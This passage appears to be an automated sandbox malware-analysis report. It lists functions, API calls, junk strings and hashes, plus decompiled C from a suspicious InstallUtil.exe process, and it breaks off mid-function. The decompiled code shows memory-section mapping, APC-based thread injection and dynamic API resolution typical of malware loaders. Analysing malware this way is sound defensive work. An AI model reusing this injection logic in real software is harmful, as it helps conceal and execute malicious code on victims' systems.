Function 00B28340 Relevance: 40.3, APIs: 7, Strings: 16, Instructions: 99serviceCOMMON

Download Yara Rule

APIs

StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00B28385
StrokePath.GDI32(00000000), ref: 00B2838D
SetCurrentDirectoryA.KERNEL32(00000000), ref: 00B28395
CreateActCtxW.KERNEL32(?), ref: 00B283B9
CloseHandle.KERNEL32(?), ref: 00B283D5
GetTapeStatus.KERNEL32(00000000), ref: 00B283DD
SetCurrentDirectoryA.KERNEL32(00B27AB8), ref: 00B283E7

Strings

Vira yiqu poros kiqu xiborefo lenixed vec, xrefs: 00B2840A
Sowaqu xagogici hega mehiyeq kegib vodal wed yihesohe niteco layadome, xrefs: 00B2841F
Cibovido nosequop cakiy jivage devicequ xohefeci giti nisam, xrefs: 00B2834D
Jeho rotaceto wed kegejaf, xrefs: 00B28434
Vas bahotiga, xrefs: 00B2843B
Dove, xrefs: 00B29763
Geyofe goyabor sihosata bepafem xovaxek, xrefs: 00B2974D
Yamadep kepexok kod maneseka, xrefs: 00B283F4
Gerayido wowi refa todiquac xagiheye cek nikigon, xrefs: 00B28418
Sehiti viwo xejavi rowaje lowiye quiquig fehoquib yegov jajexawi horiquo, xrefs: 00B28346
Ciquek yavi gej quide haqueto lodise felig joquolaw hofasofe mevifeta xari, xrefs: 00B28411
Pih tivago yotefaxi, xrefs: 00B283ED
Yofixece dip, xrefs: 00B28368
Xonoxex makojec yoyis, xrefs: 00B29771
Quotamis miro, xrefs: 00B28358
Mobiw yado quagiy sonano quif, xrefs: 00B2976A

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: CurrentDirectory$CloseCreateHandlePathServiceStartStatusStrokeTape
String ID: Cibovido nosequop cakiy jivage devicequ xohefeci giti nisam$Ciquek yavi gej quide haqueto lodise felig joquolaw hofasofe mevifeta xari$Dove$Gerayido wowi refa todiquac xagiheye cek nikigon$Geyofe goyabor sihosata bepafem xovaxek$Jeho rotaceto wed kegejaf$Mobiw yado quagiy sonano quif$Pih tivago yotefaxi$Quotamis miro$Sehiti viwo xejavi rowaje lowiye quiquig fehoquib yegov jajexawi horiquo$Sowaqu xagogici hega mehiyeq kegib vodal wed yihesohe niteco layadome$Vas bahotiga$Vira yiqu poros kiqu xiborefo lenixed vec$Xonoxex makojec yoyis$Yamadep kepexok kod maneseka$Yofixece dip
API String ID: 4009143142-2936482510
Opcode ID: b53b1938055fd2d862c04ecf705812adb7e27608dd3b9b68163526efe1ad12e2
Instruction ID: 83ee1cb944617297f23af6d4e8d67600783873252cc6955bba5ec6a12b96181b
Opcode Fuzzy Hash: b53b1938055fd2d862c04ecf705812adb7e27608dd3b9b68163526efe1ad12e2
Instruction Fuzzy Hash: 3F411971C49268EBCB14CFA8E8497AEBBF0EF15305F108099E519AB341CB745A45CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B3A1A0 Relevance: 7.6, APIs: 5, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00B3E92D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B3E944
UnhandledExceptionFilter.KERNEL32(00B2606C), ref: 00B3E94F
GetCurrentProcess.KERNEL32(C0000409), ref: 00B3E96D
TerminateProcess.KERNEL32(00000000), ref: 00B3E974

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5d863da605b4f8af145112a94de7744f34597d2e0c2c934ac6e3b5436d40b2f8
Instruction ID: d723cf686446c5c238fa1211951c62e2ebd5bd513aa16dc8c45c5e6b7641b297
Opcode Fuzzy Hash: 5d863da605b4f8af145112a94de7744f34597d2e0c2c934ac6e3b5436d40b2f8
Instruction Fuzzy Hash: 0F2145B8862344DFC708CF59FC85B8E3BA8FB18302F11459AE80993760E7716581DF89

Uniqueness

Uniqueness Score: -1.00%

Function 00B322D0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00012260), ref: 00B322DA

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4e56d57e7c4c9e5885e516514204ceee73ee59db4e0d56a2879f0db2bacacb0a
Instruction ID: b6da399a397242c31ed9c396e3a933a53102bbdde19d07a5f84a3158d3ebdad9
Opcode Fuzzy Hash: 4e56d57e7c4c9e5885e516514204ceee73ee59db4e0d56a2879f0db2bacacb0a
Instruction Fuzzy Hash: 94B0123214828C37031113E66C098033ACCD5C57307510861F00C82010ED9194414055

Uniqueness

Uniqueness Score: -1.00%

Function 00B35840 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

__isctype_l.LIBCMTD ref: 00B358D5
__chvalidator_l.LIBCMTD ref: 00B358F5

Part of subcall function 00B39FD0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B3A03F

_swprintf_s.LIBCMTD ref: 00B35958
__invoke_watson_if_oneof.LIBCMTD ref: 00B35986
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B359CB

Strings

Data: <%s> %s, xrefs: 00B359AD
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B3596B
, xrefs: 00B3590F
_printMemBlockData, xrefs: 00B35970
(*_errno()), xrefs: 00B35975
%.2X , xrefs: 00B3593A

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$__chvalidator_l__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2593626323-2130928175
Opcode ID: 6349011044188d5a82dcae9c1c4b34086e39a5057be9d9cdc372197b35c54526
Instruction ID: 91b95b74ae99bd525b1f29510128c2b90b0714dc220920a15791afe86d1faa4e
Opcode Fuzzy Hash: 6349011044188d5a82dcae9c1c4b34086e39a5057be9d9cdc372197b35c54526
Instruction Fuzzy Hash: 66418F70904758EFDB18EBA4CC46BAEB7F5AF54300F304598E509AF296DB70AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B372C0 Relevance: 10.8, APIs: 7, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

getSystemCP.LIBCMTD ref: 00B372D7

Part of subcall function 00B371B0: GetOEMCP.KERNEL32(00000000,5284C274,00C31AE8,000000FF,?,00B36F68,?), ref: 00B3720B
Part of subcall function 00B371B0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B3721E

setSBCS.LIBCMTD ref: 00B372EC
setSBUpLow.LIBCMTD ref: 00B37448

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID:
API String ID: 2101441384-0
Opcode ID: d93a29af39243cd657ef8eae11d6174748d7bf207502025c8dcb76bbef84447e
Instruction ID: 44c6e1d1ac77acffd5ea99e845bf38a80f5d34f78ed01dfce85f3706d00c5c46
Opcode Fuzzy Hash: d93a29af39243cd657ef8eae11d6174748d7bf207502025c8dcb76bbef84447e
Instruction Fuzzy Hash: CAB15BB0948119EBCB28CF54C880AAEBBF1FF54314F24C599D8265B341DB30EA41DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B306F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.dll), ref: 00B30740

Strings

y, xrefs: 00B306F6
KERNEL32.dll, xrefs: 00B3073B
-, xrefs: 00B30719

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: HandleModule
String ID: -$KERNEL32.dll$y
API String ID: 4139908857-3350792778
Opcode ID: 48d3ed48848f7eefc5571d85210dec56f43901601290263ac23b0998924593a2
Instruction ID: 815327a7b028ec971328a0f695e870da8c791706e11daae128640ce9dcb1e43b
Opcode Fuzzy Hash: 48d3ed48848f7eefc5571d85210dec56f43901601290263ac23b0998924593a2
Instruction Fuzzy Hash: 79F0F8B0C15218EBDB00EFD0D849BDEBBF4BB04348F104188D5056B290C7B92648CFA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: InstallUtil.exePID: 5584, Parent PID: 3408COMMON

Execution Graph

Execution Coverage:	53.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.9%
Total number of Nodes:	110
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004015C0 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 140
threadsleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004015C0() {
				long _v8;
				long _v12;
				long _v16;
				void* _v40;
				void* __edi;
				long _t31;
				long _t33;
				long _t34;
				void* _t37;
				long _t40;
				long _t41;
				long _t45;
				void* _t48;
				struct _SECURITY_ATTRIBUTES* _t50;
				signed int _t54;
				signed int _t55;
				struct _SECURITY_ATTRIBUTES* _t59;
				long _t61;
				signed int _t62;
				void* _t66;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t75;
				intOrPtr* _t76;

				_t31 = E00401400();
				_t59 = 0;
				_v8 = _t31;
				if(_t31 != 0) {
					return _t31;
				}
				do {
					_t71 = 0;
					_v16 = _t59;
					_v12 = 0x30;
					do {
						_t66 = E00401935(_v12);
						if(_t66 == _t59) {
							_v8 = 8;
						} else {
							_t54 = NtQuerySystemInformation(8, _t66, _v12,  &_v16); // executed
							_t62 = _t54;
							_t55 = _t54 & 0x0000ffff;
							_v8 = _t55;
							if(_t55 == 4) {
								_v12 = _v12 + 0x30;
							}
							_t72 = 0x13;
							_t15 = _t62 + 1; // 0x1
							_t71 =  *_t66 % _t72 + _t15;
							E00401265(_t66);
						}
					} while (_v8 != _t59);
					_t33 = E00401C24(_t66, _t71); // executed
					_v8 = _t33;
					Sleep(_t71 << 4); // executed
					_t34 = _v8;
				} while (_t34 == 9);
				if(_t34 != _t59) {
					L28:
					return _t34;
				}
				if(E00401D45(_t62,  &_v12) != 0) {
					 *0x403178 = _t59;
					L18:
					_t37 = CreateThread(_t59, _t59, __imp__SleepEx,  *0x403180, _t59, _t59); // executed
					_t75 = _t37;
					if(_t75 == _t59) {
						L25:
						_v8 = GetLastError();
						L26:
						_t34 = _v8;
						if(_t34 == 0xffffffff) {
							_t34 = GetLastError();
						}
						goto L28;
					}
					_t40 = QueueUserAPC(E00401A98, _t75,  &_v40); // executed
					if(_t40 == 0) {
						_t45 = GetLastError();
						_v16 = _t45;
						TerminateThread(_t75, _t45);
						CloseHandle(_t75);
						_t75 = 0;
						SetLastError(_v16);
					}
					if(_t75 == 0) {
						goto L25;
					} else {
						_t41 = WaitForSingleObject(_t75, 0xffffffff);
						_v8 = _t41;
						if(_t41 == 0) {
							GetExitCodeThread(_t75,  &_v8);
						}
						CloseHandle(_t75);
						goto L26;
					}
				}
				_t76 = __imp__GetLongPathNameW;
				_t61 = _v12;
				_t48 =  *_t76(_t61, _t59, _t59); // executed
				_t69 = _t48;
				if(_t69 == 0) {
					L15:
					 *0x403178 = _t61;
					L16:
					_t59 = 0;
					goto L18;
				}
				_t23 = _t69 + 2; // 0x2
				_t50 = E00401935(_t69 + _t23);
				 *0x403178 = _t50;
				if(_t50 == 0) {
					goto L15;
				}
				 *_t76(_t61, _t50, _t69); // executed
				E00401265(_t61);
				goto L16;
			}

0x004015c7
0x004015cc
0x004015ce
0x004015d3
0x0040173b
0x0040173b
0x004015db
0x004015db
0x004015dd
0x004015e0
0x004015e7
0x004015ef
0x004015f3
0x0040162d
0x004015f5
0x004015ff
0x00401605
0x00401607
0x0040160c
0x00401612
0x00401614
0x00401614
0x0040161c
0x00401622
0x00401622
0x00401626
0x00401626
0x00401634
0x0040163a
0x00401643
0x00401646
0x0040164c
0x0040164f
0x00401656
0x00401737
0x00000000
0x00401738
0x00401667
0x004016a7
0x004016ad
0x004016bd
0x004016c3
0x004016cd
0x00401728
0x0040172a
0x0040172d
0x0040172d
0x00401733
0x00401735
0x00401735
0x00000000
0x00401733
0x004016d9
0x004016e7
0x004016e9
0x004016ed
0x004016f0
0x004016f7
0x004016fc
0x004016fe
0x004016fe
0x00401706
0x00000000
0x00401708
0x0040170b
0x00401711
0x00401716
0x0040171d
0x0040171d
0x00401724
0x00000000
0x00401724
0x00401706
0x00401669
0x00401671
0x00401675
0x00401677
0x0040167b
0x0040169d
0x0040169d
0x004016a3
0x004016a3
0x00000000
0x004016a3
0x0040167d
0x00401682
0x00401687
0x0040168e
0x00000000
0x00000000
0x00401693
0x00401696
0x00000000

APIs

Part of subcall function 00401400: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,004015CC), ref: 0040140F
Part of subcall function 00401400: GetVersion.KERNEL32 ref: 0040141E
Part of subcall function 00401400: GetCurrentProcessId.KERNEL32 ref: 0040143A
Part of subcall function 00401400: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00401453

Part of subcall function 00401935: HeapAlloc.KERNEL32(00000000,?,004015EF,00000030,?,00000000), ref: 00401941

NtQuerySystemInformation.NTDLL ref: 004015FF
Sleep.KERNELBASE(00000000,00000000,00000030,?,00000000), ref: 00401646
GetLongPathNameW.KERNELBASE(00000030,00000000,00000000), ref: 00401675
GetLongPathNameW.KERNELBASE(00000030,00000000,00000000), ref: 00401693
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 004016BD
QueueUserAPC.KERNELBASE(00401A98,00000000,?,?,00000000), ref: 004016D9
GetLastError.KERNEL32(?,00000000), ref: 004016E9
TerminateThread.KERNEL32(00000000,00000000,?,00000000), ref: 004016F0
CloseHandle.KERNEL32(00000000,?,00000000), ref: 004016F7
SetLastError.KERNEL32(?,?,00000000), ref: 004016FE
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 0040170B
GetExitCodeThread.KERNEL32(00000000,00000008,?,00000000), ref: 0040171D
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00401724
GetLastError.KERNEL32(?,00000000), ref: 00401728
GetLastError.KERNEL32(?,00000000), ref: 00401735

Strings

0, xrefs: 00401614

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: ErrorLast$Thread$CloseCreateHandleLongNamePathProcess$AllocCodeCurrentEventExitHeapInformationObjectOpenQueryQueueSingleSleepSystemTerminateUserVersionWait
String ID: 0
API String ID: 2806485730-4108050209
Opcode ID: 64f5e00dd3e9df56bafb44a3b12719b211d84c9052b4447aa62019f6059b615a
Instruction ID: 3b3c7b31539dcb68cec7446801a6dcec4e678bc0dd0ee261a99a295e6f7dabed
Opcode Fuzzy Hash: 64f5e00dd3e9df56bafb44a3b12719b211d84c9052b4447aa62019f6059b615a
Instruction Fuzzy Hash: 1E4175B1D00215BBDB11AFB58D8899F7ABCEF49354B14447BE501F32A0D7788E45CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040188D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E0040188D(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E004013B7(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x00401896
0x0040189d
0x0040189e
0x0040189f
0x004018a0
0x004018a1
0x004018b2
0x004018b6
0x004018ca
0x004018cd
0x004018d0
0x004018d7
0x004018da
0x004018e1
0x004018e4
0x004018e7
0x004018ea
0x004018ef
0x0040192a
0x004018f1
0x004018f4
0x004018fa
0x004018ff
0x00401903
0x00401921
0x00401905
0x0040190c
0x0040191a
0x0040191a
0x00401903
0x00401932

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,?), ref: 004018EA

Part of subcall function 004013B7: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,004018FF,00000002,00000000,?,?,00000000,?,?,004018FF,00000002), ref: 004013E4

memset.NTDLL ref: 0040190C

Strings

@, xrefs: 004018DA

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: f98fdfa0b9c110206f692fa6e071b6c5229f6039fb92708234d3b282d3df2b2e
Instruction ID: 79cf47f5c86633d9c26e27e66d3e7f98e8f199bdcf07d2fc9e6fc7d80f7c65ac
Opcode Fuzzy Hash: f98fdfa0b9c110206f692fa6e071b6c5229f6039fb92708234d3b282d3df2b2e
Instruction Fuzzy Hash: BD210BB5D00209AFDB11DFA9C8849EEFBB9EB48354F10443AE605F3250D7349A458B64

Uniqueness

Uniqueness Score: -1.00%

Function 004013B7 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004013B7(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x004013c9
0x004013cf
0x004013dd
0x004013e4
0x004013e9
0x004013ef
0x00000000
0x004013f0
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,004018FF,00000002,00000000,?,?,00000000,?,?,004018FF,00000002), ref: 004013E4

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 41f1b71bfb69d62c51169e198a11b6a204b8a90c14ade405c3a2c3140c4f7bb8
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 3DF01CB690020CBFEB119FA5CC85CAFBBBDEB44394B10493AB552E10A0D6749E189A60

Uniqueness

Uniqueness Score: -1.00%

Function 00401B52 Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00401B52(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L00401FEC();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x403184;
				_push(_t15 + 0x40405e);
				_push(_t15 + 0x404054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L00401FE6();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x403188, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x00401b52
0x00401b5b
0x00401b5f
0x00401b65
0x00401b6a
0x00401b6f
0x00401b72
0x00401b75
0x00401b7a
0x00401b7b
0x00401b7e
0x00401b89
0x00401b90
0x00401b94
0x00401b96
0x00401b97
0x00401b9a
0x00401b9f
0x00401ba9
0x00401bab
0x00401bab
0x00401bbf
0x00401bc5
0x00401bc9
0x00401c19
0x00401bcb
0x00401bd4
0x00401bea
0x00401bf2
0x00401c04
0x00401c08
0x00000000
0x00000000
0x00401bf4
0x00401bf7
0x00401bfc
0x00401bfe
0x00401bfe
0x00401bdf
0x00401be1
0x00401c0a
0x00401c0b
0x00401c0b
0x00401bd4
0x00401c21

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000002,?,?,?,?,?,?,?,?,?,00401B11,0000000A,?,?), ref: 00401B5F
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00401B75
_snwprintf.NTDLL ref: 00401B9A
CreateFileMappingW.KERNELBASE(000000FF,00403188,00000004,00000000,?,?), ref: 00401BBF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401B11,0000000A,?), ref: 00401BD6
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00401BEA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401B11,0000000A,?), ref: 00401C02
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401B11,0000000A), ref: 00401C0B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401B11,0000000A,?), ref: 00401C13

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 7eed28f238bbb2be3c6924c8c0861bc85574067b5d57e3d4e00b1e628352c2d0
Instruction ID: db596e8a5649e83c10a8c689c34e87f264774f047f8a301107ca2e73e99dd617
Opcode Fuzzy Hash: 7eed28f238bbb2be3c6924c8c0861bc85574067b5d57e3d4e00b1e628352c2d0
Instruction Fuzzy Hash: 4F2190B2944208BFD711AFA4DD88EAE37B9EB48355F114036F701F72E0D67499458B68

Uniqueness

Uniqueness Score: -1.00%

Function 004012D3 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004012D3(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E00401935(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x403184 + 0x404014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x403184 + 0x404151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E00401265(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x403184 + 0x404161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x403184 + 0x404174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x403184 + 0x404189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x403184 + 0x40419f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E0040188D(_t56, _a12); // executed
